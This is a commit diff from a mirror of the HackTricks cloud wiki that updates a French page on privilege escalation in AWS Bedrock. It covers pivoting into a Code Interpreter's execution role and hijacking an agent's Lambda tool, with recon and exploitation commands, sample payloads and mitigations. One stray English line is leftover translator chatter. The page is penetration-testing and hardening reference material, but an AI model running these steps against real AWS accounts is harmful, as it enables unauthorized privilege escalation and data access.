gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-04-21 08:21:04 +00:00
parent 9a1ff25e9f
commit af61a22afd
1 changed files with 94 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files

119
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md
View File

@@ -6,21 +6,21 @@
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter est un environnement d'exécution géré. Les **Custom Code Interpreters** peuvent être configurés avec un **`executionRoleArn`** qui « fournit des permissions pour que le code interpreter accède aux services AWS ».
AgentCore Code Interpreter est un environnement d’exécution géré. Les **Custom Code Interpreters** peuvent être configurés avec un **`executionRoleArn`** qui “provides permissions for the code interpreter to access AWS services”.
Si un **IAM principal de moindre privilège** peut **start + invoke** une session Code Interpreter configurée avec un **execution role** plus privilégié, l'appelant peut effectivement **pivot into the execution role’s permissions** (mouvement latéral / escalation de privilèges selon la portée du rôle).
Si un **principal IAM avec moins de privilèges** peut **start + invoke** une session Code Interpreter configurée avec un **execution role** plus privilégié, l’appelant peut effectivement **pivot** vers les permissions de l’execution role (lateral movement / privilege escalation selon le périmètre du rôle).
> [!NOTE]
> Ceci est typiquement un problème de **misconfiguration / excessive permissions** (octroi de permissions larges au interpreter execution role et/ou attribution d'un invoke access étendu).
> AWS avertit explicitement d'éviter l'escalade de privilèges en s'assurant que les execution roles ont **autant ou moins** de privilèges que les identités autorisées à les invoquer.
> Il s’agit généralement d’un problème de **misconfiguration / excessive permissions** (accorder des permissions larges au rôle d’exécution de l’interpréteur et/ou accorder un accès invoke trop large).
> AWS avertit explicitement d’éviter la privilege escalation en s’assurant que les execution roles ont des privilèges **égaux ou inférieurs** à ceux des identités autorisées à invoquer.
#### Preconditions (common misconfiguration)
- Un **custom code interpreter** existe avec un **execution role** sur-privégié (ex : accès à des S3/Secrets/SSM sensibles ou capacités de type IAM-admin).
- Un utilisateur (développeur / auditeur / identité CI) a les permissions pour :
- start sessions : `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools : `bedrock-agentcore:InvokeCodeInterpreter`
- (Optionnel) L'utilisateur peut aussi créer des interpreters : `bedrock-agentcore:CreateCodeInterpreter` (lui permet de créer un nouvel interpreter configuré avec un execution role, selon les garde-fous de l'organisation).
- Un **custom code interpreter** existe avec un **execution role** trop privilégié (ex : accès à des S3/Secrets/SSM sensibles ou des capacités de type IAM-admin).
- Un utilisateur (developer/auditor/CI identity) a les permissions pour :
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) L’utilisateur peut aussi créer des interpreters: `bedrock-agentcore:CreateCodeInterpreter` (cela lui permet de créer un nouvel interpreter configuré avec un execution role, selon les guardrails de l’organisation).
#### Recon (identify custom interpreters and execution role usage)
@@ -28,10 +28,10 @@ Lister les interpreters (control-plane) et inspecter leur configuration:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> La commande create-code-interpreter prend en charge `--execution-role-arn` qui définit les autorisations AWS dont disposera l'interpréteur.
```
> La commande create-code-interpreter prend en charge `--execution-role-arn` qui définit les permissions AWS que l'interpréteur aura.
#### Étape 1 - Démarrer une session (cela renvoie un `sessionId`, pas un shell interactif)
#### Étape 1 - Démarrer une session (cela retourne un `sessionId`, pas un shell interactif)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
echo "SessionId: $SESSION_ID"
```
#### Étape 2 - Exécution de code (Boto3 ou HTTPS signé)
#### Étape 2 - Invoke code execution (Boto3 or signed HTTPS)
Il n'y a **pas de shell python interactif** depuis `start-code-interpreter-session`. L'exécution se fait via **InvokeCodeInterpreter**.
Il n'y a **pas de shell Python interactif** via `start-code-interpreter-session`. L'exécution se fait via **InvokeCodeInterpreter**.
**Option A - Exemple Boto3 (exécuter Python + vérifier l'identité):**
**Option A - Boto3 example (execute Python + verify identity):**
```python
import boto3
@@ -68,9 +68,9 @@ arguments={
for event in resp.get("stream", []):
print(event)
```
Si l'interpréteur est configuré avec un rôle d'exécution, la sortie de `sts:GetCallerIdentity()` devrait refléter l'identité de ce rôle (et non pas celle de l'appelant peu privilégié), démontrant le pivot.
Si l'interpréteur est configuré avec un execution role, la sortie de `sts:GetCallerIdentity()` devrait refléter l'identité de ce rôle (et non celle du low-priv caller), démontrant le pivot.
**Option B - Appel HTTPS signé (awscurl):**
**Option B - Signed HTTPS call (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -89,18 +89,86 @@ awscurl -X POST \
```
#### Impact
* **Lateral movement** vers tout accès AWS que possède le rôle d'exécution de l'interpréteur.
* **Privilege escalation** si le rôle d'exécution de l'interpréteur est plus privilégié que l'appelant.
* Détection plus difficile si CloudTrail data events pour les invocations de l'interpréteur ne sont pas activés (les invocations peuvent ne pas être journalisées par défaut, selon la configuration).
* **Lateral movement** vers tout accès AWS que le rôle d'exécution de l'interpreter possède.
* **Privilege escalation** si le rôle d'exécution de l'interpreter est plus privilégié que l'appelant.
* Détection plus difficile si les CloudTrail data events pour les invocations de l'interpreter ne sont pas activés (les invocations peuvent ne pas être journalisées par défaut, selon la configuration).
#### Mitigations / Hardening
* **Least privilege** sur le `executionRoleArn` de l'interpréteur (traitez-le comme les Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) et qui peut démarrer des sessions.
* Utilisez **SCPs** pour refuser InvokeCodeInterpreter sauf pour les rôles runtime d'agent approuvés (une application au niveau de l'organisation peut être nécessaire).
* Activez les **CloudTrail data events** appropriés pour AgentCore le cas échéant ; générez des alertes sur les invocations inattendues et la création de sessions.
* **Least privilege** sur le `executionRoleArn` de l'interpreter (traitez-le comme les rôles d'exécution Lambda / les rôles CI).
* **Restreindre qui peut invoquer** (`bedrock-agentcore:InvokeCodeInterpreter`) et qui peut démarrer des sessions.
* Utilisez des **SCPs** pour refuser InvokeCodeInterpreter sauf pour les rôles runtime d'agent approuvés (l'application au niveau de l'organisation peut être nécessaire).
* Activez les **CloudTrail data events** appropriés pour AgentCore lorsque c'est applicable ; alertez sur les invocations inattendues et la création de sessions.
## Références
## Amazon Bedrock Agents
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
Bedrock Agents peuvent utiliser des **Lambda-backed action groups** comme tools (exécution externe). Si un principal peut **modifier le code d'une fonction Lambda utilisée par un agent**, puis peut **invoquer l'agent**, il peut exécuter du code contrôlé par l'attaquant sous le **Lambda execution role**.
> [!NOTE]
> Ceci est un **cross-service trust abuse** (Bedrock → Lambda), pas une vulnérabilité. L'attaquant peut ne pas être en mesure d'invoquer directement la Lambda, mais peut quand même la déclencher via l'agent.
#### Preconditions (common misconfiguration)
- Un Bedrock Agent existe avec un **action group backed by a Lambda function**
- L'attaquant a :
- `lambda:UpdateFunctionCode`
- `bedrock:InvokeAgent`
- Le Lambda execution role a des permissions plus larges que celles de l'attaquant
- L'attaquant peut identifier la Lambda utilisée par l'agent
#### Recon
Énumérez les agent action groups :
```bash
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
```
Inspecter Lambda:
```bash
aws lambda get-function --function-name <FUNCTION_NAME>
```
#### Exploitation
Remplacer le code Lambda:
```bash
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
```
Exemple de payload:
```python
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
```
Translate the content you want me to process, and I’ll return it in French while keeping the exact markdown/html syntax.
```bash
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
```
#### Impact
* **Privilege escalation** into Lambda execution role
* **Data exfiltration** from AWS services
* **Cross-service abuse** via trusted agent execution
#### Mitigations
* **Restreindre** `lambda:UpdateFunctionCode`
* Utiliser des rôles Lambda avec le **least-privilege**
* **Surveiller** les changements de code Lambda
* **Auditer** l’utilisation des outils de l’agent Bedrock
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
@@ -108,6 +176,7 @@ awscurl -X POST \
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
{{#include ../../../../banners/hacktricks-training.md}}